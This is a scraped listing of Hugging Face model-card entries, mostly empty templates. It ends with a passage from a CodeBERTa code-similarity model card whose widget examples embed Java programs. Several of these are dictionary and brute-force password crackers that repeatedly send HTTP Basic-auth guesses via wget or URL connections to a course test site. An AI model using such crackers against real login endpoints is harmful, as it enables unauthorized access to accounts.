### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
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### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
|
davidquarel/jaxgmg_ckpt_pt_OLD
|
davidquarel
| 2025-09-23T15:32:46Z | 0 | 0 | null |
[
"region:us"
] | null | 2025-08-15T19:52:19Z |
Out of date. See https://huggingface.co/davidquarel/jaxgmg_ckpt_zip instead
|
ElRompeAnosFullAnal/ElRompeAnosFullAnal
|
ElRompeAnosFullAnal
| 2025-09-23T15:31:31Z | 0 | 0 | null |
[
"license:cc-by-nc-4.0",
"region:us"
] | null | 2025-03-31T22:45:18Z |
---
license: cc-by-nc-4.0
---
|
oliverguhr/gemma-3-4b-it-german-spelling
|
oliverguhr
| 2025-09-23T15:27:39Z | 0 | 0 |
peft
|
[
"peft",
"safetensors",
"gguf",
"gemma3",
"image-text-to-text",
"base_model:adapter:unsloth/gemma-3-4b-it-unsloth-bnb-4bit",
"lora",
"sft",
"transformers",
"trl",
"unsloth",
"text-generation",
"conversational",
"arxiv:1910.09700",
"base_model:unsloth/gemma-3-4b-it-unsloth-bnb-4bit",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T14:53:54Z |
---
base_model: unsloth/gemma-3-4b-it-unsloth-bnb-4bit
library_name: peft
pipeline_tag: text-generation
tags:
- base_model:adapter:unsloth/gemma-3-4b-it-unsloth-bnb-4bit
- lora
- sft
- transformers
- trl
- unsloth
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
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## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
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### Framework versions
- PEFT 0.17.1
|
buelfhood/SOCO-Java-CODEBERTA-CONTRASTIVE-PAIRS-E1-B16-LR2e-05-Split0.1
|
buelfhood
| 2025-09-23T15:14:46Z | 0 | 0 |
sentence-transformers
|
[
"sentence-transformers",
"safetensors",
"roberta",
"sentence-similarity",
"feature-extraction",
"dense",
"generated_from_trainer",
"dataset_size:77328",
"loss:ContrastiveLoss",
"arxiv:1908.10084",
"base_model:huggingface/CodeBERTa-small-v1",
"base_model:finetune:huggingface/CodeBERTa-small-v1",
"model-index",
"autotrain_compatible",
"text-embeddings-inference",
"endpoints_compatible",
"region:us"
] |
sentence-similarity
| 2025-09-23T15:14:32Z |
---
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- dense
- generated_from_trainer
- dataset_size:77328
- loss:ContrastiveLoss
base_model: huggingface/CodeBERTa-small-v1
widget:
- source_sentence: "\n\n\n\n\nimport java.io.InputStream;\nimport java.util.Properties;\n\
\nimport javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.rmi.PortableRemoteObject;\n\
import javax.sql.DataSource;\n\n\n\npublic class DictionaryPropertyHelper {\n\n\
\tprivate static Properties dictProps;\n\n\n\n\tpublic DictionaryPropertyHelper()\
\ {\n\t}\n\n\n\t\n\tpublic static String getProperty(String pKey){\n\t\ttry{\n\
\t\t\tinitProps();\n\t\t}\n\t\tcatch(Exception e){\n\t\t\tSystem.err.println(\"\
Error init'ing the dictionary Props\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\
\treturn dictProps.getProperty(pKey);\n\t}\n\n\n\tprivate static void initProps()\
\ throws Exception{\n\t\tif(dictProps == null){\n\t\t\tdictProps = new Properties();\n\
\n\t\t\tInputStream fis =\n\t\t\t\tDictionaryPropertyHelper.class.getResourceAsStream(\"\
/dictionary.properties\");\n\t\t\tdictProps.load(fis);\n\t\t}\n\t}\n}\n\n"
sentences:
- "\n\n\nimport java.io.InputStream;\nimport java.util.Properties;\n\nimport javax.naming.Context;\n\
import javax.naming.InitialContext;\nimport javax.rmi.PortableRemoteObject;\n\
import javax.sql.DataSource;\n\n\n\n\n\n\npublic class MailsendPropertyHelper\
\ {\n\n\tprivate static Properties testProps;\n\n\tpublic MailsendPropertyHelper()\
\ {\n\t}\n\n\n\t\n\n\tpublic static String getProperty(String pKey){\n\t\ttry{\n\
\t\t\tinitProps();\n\t\t}\n\t\tcatch(Exception e){\n\t\t\tSystem.err.println(\"\
Error init'ing the watchddog Props\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\t\
return testProps.getProperty(pKey);\n\t}\n\n\n\tprivate static void initProps()\
\ throws Exception{\n\t\tif(testProps == null){\n\t\t\ttestProps = new Properties();\n\
\n\t\t\tInputStream fis =\n\t\t\t\tMailsendPropertyHelper.class.getResourceAsStream(\"\
/mailsend.properties\");\n\t\t\ttestProps.load(fis);\n\t\t}\n\t}\n}\n\n\n\n\n\n"
- "\n\n\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\npublic\
\ class WatchDog\n{\n\n public WatchDog()\n {\n }\n\n public static void main(String[]\
\ args)\n {\n try\n {\n if( args.length != 2 )\n \
\ {\n System.out.println(\"USAGE: java WatchDog <URL> <mailing UserName>\"\
);\n System.exit(0);\n }\n\n Runtime.getRuntime().exec(\"\
rm LastWatch.html\");\n Runtime.getRuntime().exec(\"rm WatchDog.ini\"\
);\n\n Thread.sleep(1000);\n\n while (true)\n \
\ {\n WatchDog myWatchDog = new WatchDog();\n \
\ myWatchDog.readHTML(args[0], args[1]);\n\n Runtime.getRuntime().exec(\"\
rm Report.txt\");\n Runtime.getRuntime().exec(\"rm diffReport.txt\"\
);\n Runtime.getRuntime().exec(\"rm NewWatch.txt\");\n\n \
\ System.out.println(\" check after 2 ... press Ctrl-Z suspend WatchDog...\"\
);\n\n Thread.sleep(2*60*1000); \n\n\n }\n }\n\
\ catch (Exception e)\n {\n e.printStackTrace();\n }\n\
\ }\n\n void readHTML (String strHTML, String userName)\n {\n\n Properties\
\ myProp = loadLastMD5 ();\n\n try\n {\n\n System.out.println(\"Running\
\ WatchDog \\\"\" + strHTML + \"\\\" ...... Please Wait....\");\n\n URL\
\ url = new URL (strHTML);\n\n String strHost = url.getHost().toLowerCase();\n\
\n Runtime r = Runtime.getRuntime();\n\n\n\n \n\n \n \n\n InputStream\
\ in = url.openStream();\n\n DataInputStream bf = new DataInputStream (in);\n\
\n FileOutputStream fOut = new FileOutputStream (\"Watch.html\");\n \
\ DataOutputStream dOut = new DataOutputStream (fOut);\n\n Vector vtrImages\
\ = new Vector ();\n\n while ( bf!= null)\n {\n\n String str\
\ = bf.readLine();\n\n if (str == null)\n break;\n\n\n \
\ if ( str.toLowerCase().indexOf(\"img\") > 0 )\n {\n \
\ int indexImg = str.toLowerCase().indexOf(\"img\");\n int indexImgUrl\
\ = str.toLowerCase().indexOf(\"\\\"\", indexImg);\n int indexImgUrlEnd\
\ = str.toLowerCase().indexOf(\"\\\"\", indexImgUrl+1);\n\n String\
\ strImage = str.toLowerCase().substring(indexImgUrl+1, indexImgUrlEnd);\n\n \
\ if (strImage.toLowerCase().indexOf(strHost) > 0)\n {\n\
\ int index = strImage.toLowerCase().indexOf(strHost) + strHost.length();\n\
\ strImage = strImage.toLowerCase().substring(index);\n \
\ }\n\n if (!vtrImages.contains(strImage.toLowerCase()))\n \
\ vtrImages.add (strImage.toLowerCase());\n }\n\n \
\ dOut.writeBytes(str+\"\\n\");\n }\n\n dOut.print();\n fOut.print();\n\
\ \n \n\n for (int i=0 ; i < vtrImages.size() ; i ++)\n {\n\n \
\ \n r.exec(\"wget \" + strHost + vtrImages.get(i).toString().trim());\n\
\ }\n\n Thread.sleep(2000);\n\n String [] command = {\"//sh\",\
\ \"-c\",\"md5sum *.* > NewWatch.txt\"};\n\n Runtime.getRuntime().exec(command);\n\
\n Thread.sleep(1000);\n\n FileInputStream fIn = new FileInputStream\
\ (\"NewWatch.txt\");\n DataInputStream = new DataInputStream (fIn);\n\n\
\ Properties prop = new Properties ();\n\n while ( bf != null)\n \
\ {\n\n String str = bf.readLine();\n\n if (str == null)\n\
\ break;\n\n int index = str.indexOf(\" \");\n\n\n \
\ if (fileDownloaded (str.substring(index + 1), vtrImages) || str.substring(index\
\ + 1).trim().equalsIgnoreCase(\"Watch.html\") )\n prop.setProperty(str.substring(index\
\ + 1).trim().toLowerCase(), str.substring(0, index).trim().toLowerCase());\n\
\ }\n\n \n fIn.close();\n\n int isAnyChange = GenerateChangeFile\
\ (strHTML, myProp, prop);\n\n if (isAnyChange > 0)\n {\n\n if\
\ (isAnyChange == 2)\n {\n File f = new File (\"LastWatch.html\"\
);\n\n if (! f.exists())\n {\n f.createNewFile();\n\
\ Thread.sleep(1000);\n }\n\n String [] diffCommand\
\ = {\"//sh\", \"-c\",\"diff Watch.html LastWatch.html > diffReport.txt\"};\n\n\
\ Runtime.getRuntime().exec(diffCommand);\n\n Thread.sleep(2000);\n\
\n FileInputStream feIn = new FileInputStream (\"diffReport.txt\");\n\
\ DataInputStream deIn = new DataInputStream (feIn);\n\n \
\ FileOutputStream feOut = new FileOutputStream (\"Report.txt\", true);\n \
\ DataOutputStream deOut = new DataOutputStream (feOut);\n\n \
\ deOut.writeBytes(\"\\n\\n\\nDifferences in Target :\\n\\n\");\n\n \
\ while (deIn != null)\n {\n String str = deIn.readLine();\n\
\n if (str == null)\n break;\n\n \
\ deOut.writeBytes(str + \"\\n\");\n }\n\n deOut.print();\n\
\ feOut.print();\n\n deIn.close();\n feIn.close();\n\
\ }\n\n String [] mailCommand = {\"//sh\", \"-c\",\"less Report.txt\
\ | mail \" + userName};\n\n Runtime.getRuntime().exec(mailCommand);\n\n\
\ System.out.println(\"Mailing difference\");\n }\n else\n \
\ System.out.println(\" difference detected\");\n\n\n Runtime.getRuntime().exec(\"\
mv Watch.html LastWatch.html\");\n\n }\n catch (Exception e)\n {\n \
\ e.printStackTrace();\n }\n\n }\n\n private Properties loadLastMD5\
\ ()\n {\n Properties myProp = new Properties ();\n\n try\n {\n\
\ myProp.load(new FileInputStream (\"WatchDog.ini\"));\n }\n \
\ catch (Exception e)\n {\n }\n\n return myProp;\n }\n\n private\
\ boolean fileDownloaded (String strFile, Vector vtrImages)\n {\n for (\
\ int i = 0 ; i < vtrImages.size() ; i ++ )\n {\n String strImage\
\ = vtrImages.get(i).toString().trim();\n\n if ( strImage.toLowerCase().indexOf(strFile.toLowerCase().trim())\
\ > -1 )\n return true;\n }\n\n return false;\n }\n\n\
\ private int GenerateChangeFile (String strUrl, Properties myProp, Properties\
\ prop)\n {\n int change = 0;\n boolean boolMainChange = false;\n\n\
\ try\n {\n FileOutputStream myOut = new FileOutputStream (\"\
WatchDog.ini\");\n DataOutputStream myIniOut = new DataOutputStream (myOut);\n\
\n FileOutputStream fOut = new FileOutputStream (\"Report.txt\");\n \
\ DataOutputStream dOut = new DataOutputStream (fOut);\n\n dOut.writeBytes(\"\
Report of changes for \\\"\" + strUrl + \"\\\":\\n\\n\\n\\n\\n\");\n\n \
\ Enumeration e = prop.keys();\n\n while (e.hasMoreElements())\n \
\ {\n String file = e.nextElement().toString().toLowerCase().trim();\n\
\n Runtime.getRuntime().exec(\"rm \" + file);\n\n myIniOut.writeBytes(file.toLowerCase()\
\ + \"=\" + prop.getProperty(file) + \"\\n\");\n\n if (myProp.containsKey(file))\n\
\ {\n String OldValue = myProp.getProperty(file);\n\
\ String newValue = prop.getProperty(file);\n\n \
\ if (OldValue != null && newValue != null)\n {\n \
\ if (!OldValue.trim().equals(newValue.trim()))\n \
\ {\n if (file.toLowerCase().trim().equalsIgnoreCase(\"\
Watch.html\"))\n {\n dOut.writeBytes(\"\
Traget html has been changed\\n\");\n boolMainChange\
\ = true;\n }\n else\n \
\ dOut.writeBytes(\"File \\\"\" + file + \"\\\" has been\
\ changed\\n\");\n\n change = 1;\n \
\ }\n }\n }\n else\n \
\ {\n if (file.toLowerCase().trim().equalsIgnoreCase(\"Watch.html\"\
))\n {\n dOut.writeBytes(\"Target html\
\ is checked for first time\\n\");\n boolMainChange = true;\n\
\ }\n else\n dOut.writeBytes(\"\
File \\\"\" + file + \"\\\" is checked for first time and is new\\n\");\n\n \
\ change = 1;\n }\n }\n\n dOut.print();\n\
\ fOut.print();\n\n myIniOut.close();\n myOut.close();\n\
\ }\n catch (Exception ex)\n {\n ex.printStackTrace ();\n\
\ }\n\n if (boolMainChange)\n return 2;\n\n return change;\n\
\ }\n}"
- "\n\n\nimport java.io.InputStream;\nimport java.util.Properties;\n\nimport javax.naming.Context;\n\
import javax.naming.InitialContext;\nimport javax.rmi.PortableRemoteObject;\n\
import javax.sql.DataSource;\n\n\n\n\n\n\npublic class MailsendPropertyHelper\
\ {\n\n\tprivate static Properties testProps;\n\n\tpublic MailsendPropertyHelper()\
\ {\n\t}\n\n\n\t\n\n\tpublic static String getProperty(String pKey){\n\t\ttry{\n\
\t\t\tinitProps();\n\t\t}\n\t\tcatch(Exception e){\n\t\t\tSystem.err.println(\"\
Error init'ing the watchddog Props\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\t\
return testProps.getProperty(pKey);\n\t}\n\n\n\tprivate static void initProps()\
\ throws Exception{\n\t\tif(testProps == null){\n\t\t\ttestProps = new Properties();\n\
\n\t\t\tInputStream fis =\n\t\t\t\tMailsendPropertyHelper.class.getResourceAsStream(\"\
/mailsend.properties\");\n\t\t\ttestProps.load(fis);\n\t\t}\n\t}\n}\n\n\n\n\n\n"
- source_sentence: "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\
\npublic class Dictionary\n{\n public static void main(String args[])\n {\n\
\ final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n String\
\ basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n String password;\n\
\ String s = null;\n int num_tries = 0;\n \n try\n {\n\
\ \n BufferedReader dict_word = new BufferedReader\n \
\ (new FileReader (DICT_FILE));\n \n \n \
\ while((password = dict_word.readLine())!= null)\n { \n \
\ try \n {\n \n Process p = Runtime.getRuntime().exec(\"\
wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n \
\ \n BufferedReader stdInput = new BufferedReader(new \n \
\ InputStreamReader(p.getInputStream()));\n\n \
\ BufferedReader stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\
\n \n while ((s = stdInput.readLine()) != null)\n\
\ {\n System.out.println(s);\n }\n\
\ \n \n while ((s = stdError.readLine())\
\ != null)\n {\n System.out.println(s);\n \
\ }\n\n try\n\t {\n p.waitFor();\
\ \n }\n catch (InterruptedException g) \n \
\ {\n } \n\n num_tries++;\n \
\ \n if((p.exitValue()) == 0) \n { \n \
\ System.out.println(\"**********PASSWORD IS: \" + password);\n\
\t System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n\
\ System.exit(1);\n }\n }\n \
\ catch (IOException e)\n {\n System.out.println(\"\
exception happened - here's what I know: \");\n e.printStackTrace();\n\
\ System.exit(-1);\n }\n }\n \n \
\ System.out.println(\"DICTIONARY BRUTE FORCE UNABLE FIND PASSWORD\");\n \
\ System.out.println(\"**********Sorry, password was not found in dictionary\
\ file\");\n System.exit(1);\n\n }\n catch (FileNotFoundException\
\ exception)\n {\n System.out.println(exception);\n }\n \
\ catch (IOException exception)\n {\n System.out.println(exception);\n\
\ }\n }\n}\n \n"
sentences:
- "\n\nimport java.io.*;\nimport java.*;\n\npublic class BruteForce \n{\n public\
\ static void main(String args[]) \n {\n String s = null;\n String\
\ basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n\n \n String\
\ alphabets = new String(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
);\n \n String password = null;\n int len = 0;\n int num_tries\
\ = 0;\n\n len = alphabets.length();\n \n \n for (int i=0;\
\ i<len; i++)\n {\n for (int j=0; j<len; j++)\n\t {\n \
\ for (int k=0; k<len; k++)\n\t {\n try \n {\n\
\ \n password = String.valueOf(alphabets.charAt(i))\
\ + String.valueOf(alphabets.charAt(j)) + String.valueOf(alphabets.charAt(k));\n\
\ \n System.out.print(alphabets.charAt(i)); \n\
\ System.out.print(alphabets.charAt(j)); \n \
\ System.out.println(alphabets.charAt(k)); \n\n \n \
\ Process p = Runtime.getRuntime().exec(\"wget --http-user= --http-passwd=\"\
\ + password + \" \" + basic_url);\n \n BufferedReader\
\ stdInput = new BufferedReader(new \n InputStreamReader(p.getInputStream()));\n\
\n BufferedReader stdError = new BufferedReader(new \n \
\ InputStreamReader(p.getErrorStream()));\n\n \n\
\ while ((s = stdInput.readLine()) != null)\n \
\ {\n System.out.println(s);\n }\n \
\ \n \n while ((s = stdError.readLine())\
\ != null)\n {\n System.out.println(s);\n\
\ }\n \n try\n\t\t {\n\
\ p.waitFor(); \n }\n catch\
\ (InterruptedException g) \n {\n } \n\n \
\ num_tries++;\n \n if((p.exitValue())\
\ == 0)\n { \n System.out.println(\"\
**********PASSWORD IS: \" + password);\n\t System.out.println(\"**********NUMBER\
\ OF TRIES: \" + num_tries);\n System.exit(1);\n \
\ }\n }\n catch (IOException e)\n \
\ {\n System.out.println(\"exception happened - here's\
\ what I know: \");\n e.printStackTrace();\n \
\ System.exit(-1);\n }\n }\n }\n }\n \
\ }\n}\n\n"
- "\n\n\n\nimport java.io.*;\nimport java.net.*;\nimport java.*;\nimport java.util.*;\n\
\npublic class DictionaryAttack\n{\n\tpublic static void main ( String args[])\n\
\t{\n\t\t\n\t\tString function,pass,temp1;\n\t\tint count =0;\n\t\t\n\t\ttry{\n\
\t\t\t\t\n\t\tFileReader fr = new FileReader(\"words.txt\");\n\t\tBufferedReader\
\ bfread = new BufferedReader(fr);\n\n\t\tRuntime rtime = Runtime.getRuntime();\n\
\t\tProcess prs = null;\t\n\n\n\t\twhile(( bf = bfread.readLine()) != null)\n\t\
\t{\n\t\t \n\t\t\t\t\n\t\t\t\tif( f.length() < 4 )\n\t\t\t\t{\n\t\t\t\t\tSystem.out.println(+\
\ \" The Attack Number =====>\" + count++ );\n\t\t \t\tpass = f;\n\t\t\t\
\t\n\t\t\t\t\tfunction =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/\"\
;\n\t\t\t\t\tprs = rtime.exec(function);\n\t\t\t\t \n\t\t\t\t\tInputStreamReader\
\ stre = new InputStreamReader(prs.getErrorStream());\n \
\ \t\t\tBufferedReader bread = new BufferedReader(stre);\n\t\t\t\t\twhile( (temp1\
\ = bread.readLine())!= null)\n\t\t\t\t\t{\n\t\t\t\t\t\tSystem.out.println(temp1);\n\
\t\t\t\t\t\tif(temp1.equals(\"HTTP request sent, awaiting response... 200 OK\"\
))\n \t\t\t\t{\n\t\t\t System.out.println(\"\
The password has is:\"+pass);\n \t\t\t System.exit(0);\n\
\ \t\t\t\t}\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\n\
\t\t}\n\t\t\t\n\t\t\tfr.print();\n\t\t\tbfread.close();\n\t\n\t\t\t}catch(Exception\
\ e){}\n\t}\n\t\n}\t\t\t\n"
- "\n\nimport java.net.*;\nimport java.io.IOException;\nimport java.util.*;\nimport\
\ java.io.*;\npublic class BruteForce {\n \n \n \n String passwordLetters[]\
\ ={\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"\
m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"\
z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\
M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"\
Z\"};\n String password=\" \";\n static int counter;\n static int noOfAttempts;\n\
\ static String userName=\"\";\n HttpURLConnection u;\n boolean threadF,threadM;\n\
\ String passBase64;\n \n PasswordCrackThreadF passwordCrackThreadF;\n PasswordCrackThreadM\
\ passwordCrackThreadM;\n URL url;\n \n \n public BruteForce() {\n breakPassword();\n\
\ }\n\n public static void main (String args[]) {\n new BruteForce();\n\
\ }\n \n \n \n private void breakPassword() {\n int j;\n \n breakOneLetterPassword();\n\
\ \n breakTwoLetterPassword();\n \n \n \n\n passwordCrackThreadF\
\ = new PasswordCrackThreadF(0,26,counter++,passwordLetters,userName,this);\n\
\ \n passwordCrackThreadM = new PasswordCrackThreadM(26,52,counter++,passwordLetters,userName,this);\n\
\ \n passwordCrackThreadF.print();\n passwordCrackThreadM.print();\n\
\ }\n \n \n private void breakOneLetterPassword() { \n MyHttpURLConnection\
\ httpURLConnection;\n try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n\t \n\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\
\ u = (HttpURLConnection)url.openConnection();\n\t u.setRequestProperty(\"\
Authorization\", \" \" + passBase64);\n } catch (IOException io) {io.printStackTrace();}\n\
\ \n loop: for (int i=0;i<52;i++) {\n password\
\ = passwordLetters[i];\n\t\t \n\t\t password =\":\"+ password;\n \
\ try {\n \n\t \t u= (HttpURLConnection)url.openConnection();\n\
\t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\
\ u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\
\t\t u.connect();\t\n\t\t noOfAttempts++; \n\t\t if (u.getContentLength()\
\ != 0) {\n\t\t \n\t\t if (u.getResponseCode()== HttpURLConnection.HTTP_OK\
\ ) {\n\t\t \n\t System.out.println (\"Your User\
\ Name : Password is \"+password);\n\t\t\t\t System.out.println(\" \");\n\t\
\t\t System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\
\t\t\t \n\t\t\t System.exit(0);\n \n\t \
\ }\n\t\t }\n\t\t } catch (ProtocolException px) {px.printStackTrace();\n\
\ \n } catch ( NoRouteToHostException nr)\
\ {nr.printStackTrace();\n\t } catch (BindException e){e.printStackTrace();\n\
\t } catch (IndexOutOfBoundsException e3){e3.printStackTrace();\n\t\
\ } catch (IOException io) {io.printStackTrace();\n\t\t \n\t \
\ } finally {u.disconnect();\n\t }\n } \n }\n \n \
\ \n private void breakTwoLetterPassword() { \n MyHttpURLConnection \
\ httpURLConnection; \n try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n\t \n\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\
\ u = (HttpURLConnection)url.openConnection();\n\t u.setRequestProperty(\"\
Authorization\", \" \" + passBase64);\n } catch (IOException io) {io.printStackTrace();}\n\
\n \n loop: for (int i=0;i<52;i++) {\n for (int j=0;j<52;j++)\
\ {\n password = passwordLetters[i]+passwordLetters[j];\n\t\t\
\ \n\t\t password =\":\"+ password;\n\t\t \n\t\t \n\t \n \
\ try {\n\t\t u= (HttpURLConnection)url.openConnection();\n\
\t\t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\
\ u.setRequestProperty(\"Authorization\", \"\
\ \" + passBase64);\n\t\t\tu.connect();\n\t\t\tnoOfAttempts++;\n\t\t\t\n \
\ \t if (u.getContentLength() != 0) {\n\t\t if (u.getResponseCode()==\
\ HttpURLConnection.HTTP_OK ) {\n\t System.out.println\
\ (\"Your User Name : Password is \"+password); \n\t\t\t System.out.println(\"\
\ \");\n\t\t\t System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\
\t\t\t \n\t\t\t System.exit(0);\n\t }\n\t\t }\n\
\t\t \n\t\t\n\t } catch (ProtocolException px) {px.printStackTrace();\n\
\ } catch ( NoRouteToHostException nr) {nr.printStackTrace();\n\
\t } catch (BindException e){e.printStackTrace();\n\t } catch\
\ (IndexOutOfBoundsException e3){e3.printStackTrace();\n\t } catch\
\ (IOException io) {io.printStackTrace();\n\t\t \n\t } finally {u.disconnect();\n\
\t }\n } \n }\n\n\n }\n}\n\nclass PasswordCrackThreadF\
\ extends Thread {\n \n \n \n private String passwordLetters[] ;\n \
\ private String password=\" \";\n private static String userName=\"\";\n\
\ private MyHttpURLConnection httpURLConnection;\n private URL url;\n\
\ \n BruteForce bruteForce;\n int count; \n String passBase64;\n \
\ private HttpURLConnection u;\n \n int start,stop;\n \n static boolean\
\ found;\n \n PasswordCrackThreadF(int start,int stop,int counter,String[]\n\
\ passwordLetters,String userName,BruteForce\
\ bruteForce) {\n this.start = start;\n this.stop = stop;\n \
\ this.passwordLetters =passwordLetters;\n this.userName=userName;\n \
\ count =counter;\n this.bruteForce=bruteForce; \n bruteForce.threadF=true;\n\
\t\n \n passBase64 = new bruteForce.misc.BASE64Encoder().encode(password.getBytes());\n\
\ try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n\t \n\n\t u = (HttpURLConnection)url.openConnection();\n \
\ \n\t u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\
\ \n\n } catch (IOException io) {io.printStackTrace();}\n\n }\n \n\
\ public synchronized void run() {\n \n outer : for (int i=0; i<stop;i++)\
